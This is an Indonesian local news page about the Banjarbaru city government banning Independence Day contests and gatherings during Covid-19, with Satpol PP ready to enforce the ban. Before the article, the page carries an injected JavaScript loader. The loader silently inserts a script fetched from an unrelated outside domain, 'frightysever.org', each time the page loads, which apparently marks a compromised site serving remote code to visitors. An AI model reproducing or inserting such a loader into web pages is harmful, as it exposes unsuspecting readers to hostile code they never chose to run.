(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Lomba 17-an Dilarang, Satpol PP Banjarbaru Siap Turun Lapangan


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru melarang perayaan peringatan HUT ke-75 Kemerdekaan Republik Indonesia, pada 17 Agustus mendatang.

Hal itu sebagaimana yang tertuang dalam surat imbauan bernomor 003.3.003/HUT ke-75 RI, yang diterbitkan Wakil Wali Kota Banjarbaru Darmawan Jaya Setiawan.

Kebijakan ini sendiri diambil mempertimbangkan kasus Covid-19 di Banjarbaru yang tiap hari semakin meningkat. Sehingga, diperlukan adanya peran masyarakat dalam memutus rantai penularan virus.

“Kita melarang diadakannya perayaan hari kemerdakaan dengan mengumpulkan orang banyak. Contohnya acara hiburan atau lomba-lomba tujuhbelasan, seperti panjat pinang dan lain-lain. Termasuk juga acara masak dan makan bersama juga dilarang,” kata Kepala Bagian Humas dan Protokol Setda Kota Banjarbaru, Dedy Sutoyo.

Untuk memastikan imbauan ini terlaksana, kata Dedy, Pemko akan melakukan pengawasan saat perayaan HUT RI, menyasar tiap-tiap kelurahan. Kendati demikian, pengawasan di lapangan tersebut tetap akan mengedepankan tindakan persuasif.

“Apabila ada yang melaksakan kegiatan perayaan Hari Kemerdekaan mengumpulkan orang, maka akan ditegur. Tentu teguran melalui komunikasi yang baik dengan masyarakat,” ujarnya.

Menilik bagaimana penegakan kebijakan ini nantinya, Satpol PP Banjarbaru belum mendapatkan arahan khusus terkait pegawasan tersebut. Namum begitu, PPNS Seksi Opsdal Yanto Hidayat, mengaku siap apabila pihaknya ditugaskan untuk melakukan pengawasan ke lingkungan masyarakat.

“Kalau saat ini kita belum mendapat arahan dari pimpinan. Tapi, saya pastikan Satpol PP Banjarbaru siap apabila sudah diperintahkan,” ujarnya, saat dihubungi Kanalkalimantan.com

Yanto sendiri meyakini bahwa himbauan tentang larangan menggelar perayaan hari kemerdekaan telah tersampaikan ke pihak Kelurahan maupun ke ranah RT. Maka, seharusnya imbuan ini sendiri telah disosialisasikan masyarakat.

“Seharusnya dari pihak RT sudah menyampaikan ke masyarakat agar tidak menyelenggarkan rangkaian kegiatan lomba, mengingat kondisi pandemi masih rawan penularan,” terangnya. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.